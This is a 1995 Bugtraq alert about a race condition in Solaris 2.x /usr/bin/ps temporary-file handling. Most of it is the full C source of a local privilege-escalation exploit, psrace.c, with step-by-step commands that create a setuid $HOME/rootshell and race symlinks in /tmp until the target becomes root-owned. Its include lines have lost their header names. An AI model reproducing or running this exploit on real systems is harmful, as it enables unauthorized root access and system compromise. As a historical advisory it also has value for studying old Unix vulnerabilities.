/* *B U G T R A Q A L E R T bugtraq-alert-081495.01 * *August 14, 1995 *=========================================================================== * *OPERATING SYSTEM(S): * * Solaris 2.x (Sunos 5.x) * * * DESCRIPTION: * * A race condition exists in /usr/bin/ps when ps opens a temporary * file when executed. After opening the file, /usr/bin/ps chown's the * temporary file to root and the renames it to /tmp/ps_data. * * * * * EXPLOIT: * * The following is exploit code that will allow you to change any * file on a Solaris 2.x machine to uid 0 (as well as setuid files). * * * * psrace.c * * Copyright, 1995, by Scott Chasin (chasin@crimelab.com) * * This material is copyrighted by Scott Chasin, 1995. The * usual standard disclaimer applies, especially the fact that the * author is not liable for any damages caused by direct or indirect * use of the information or functionality provided by this program. * * [ For solaris2.x only ] * * After compiling psrace, run the following commands: * * cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell * /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' & * ./psrace $HOME/rootshell * * (Ignore any errors you get from ps) * You may have to wait a few minutes before the race is won. */ #include #include #include #include main (argc, argv) int argc; char **argv; { int count = 0; DIR *dirp; struct dirent *dp; struct stat fileinfo; char targetfile [85], name [85]; if (argc != 2) { printf ("Usage: psrace [/full/path/to/target/filename]\n"); exit (1); } if (access (argv[1], 0)) { printf ("psrace: %s does not exist.\n", argv[1]); exit (1); } strcpy (targetfile, argv[1]); stat ("/tmp", &fileinfo); if (fileinfo.st_mode & S_ISVTX) { printf ("psrace: Congratulations! You already have the fix in place.\n"); printf ("psrace: (/tmp has the sticky-bit set)\n"); exit (1); } printf ("Be patient, this could take awhile.\n"); printf ("Starting the race .. "); fflush (stdout); dirp = opendir ("/tmp"); for (;;) { unlink ("/tmp/ps_data"); while ((dp = readdir (dirp)) != NULL) { if (!strncmp (dp->d_name, "ps.", 3)) { sprintf (name, "/tmp/%s", dp->d_name); unlink (name); symlink (targetfile, name); if (stat (targetfile, &fileinfo) >= 0) if (fileinfo.st_uid == 0) { printf ("We WON!\n"); closedir (dirp); clean_up (); } } } rewinddir (dirp); } } clean_up () { DIR *dirp; struct dirent *dp; char name [25]; dirp = opendir ("/tmp"); while ((dp = readdir (dirp)) != NULL) if (!strncmp (dp->d_name, "ps.", 3)) { sprintf (name, "/tmp/%s", dp->d_name); unlink (name); } closedir (dirp); unlink ("/tmp/ps_data"); exit (0); }